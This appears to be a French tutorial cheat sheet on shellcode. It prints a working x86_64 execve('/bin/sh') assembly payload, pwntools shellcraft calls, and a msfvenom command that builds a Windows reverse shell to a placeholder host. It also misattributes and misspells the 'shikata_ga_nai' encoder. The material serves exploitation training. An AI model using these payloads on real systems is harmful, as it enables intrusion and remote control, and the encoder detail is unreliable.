Shellcode — Code machine injectable

ASM No-NX

Qu'est-ce qu'un shellcode ?

Un shellcode est une séquence d'octets correspondant à des instructions assembleur conçues pour être injectées dans un processus. Le plus classique : exécuter /bin/sh. N'est utile que si NX est désactivé (stack exécutable) ou si on peut écrire dans une zone exécutable.

Shellcode Linux x64 : execve /bin/sh

; execve("/bin/sh", NULL, NULL) en assembleur x86_64
bits 64

xor  rax, rax      ; rax = 0
push rax            ; terminer la chaîne "/bin/sh"
mov  rbx, 0x68732f2f6e69622f ; "/bin//sh" en little-endian
push rbx
mov  rdi, rsp       ; rdi = pointeur vers "/bin/sh"
xor  rsi, rsi       ; rsi = NULL (argv)
xor  rdx, rdx       ; rdx = NULL (envp)
mov  al,  59        ; syscall number : execve = 59
syscall

; Version compilée (pwntools)
from pwn import shellcraft, asm
print(asm(shellcraft.sh()))

Trouver des shellcodes

# shellstorm.org : base de données de shellcodes
# pwntools : générateur intégré
asm(shellcraft.linux.sh())
asm(shellcraft.linux.amd64.sh())

# Shellcode alphanumeric (bypass filtres)
# PWNTOOLS shikatama_ga_nai encoder
# msfvenom pour Windows
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f raw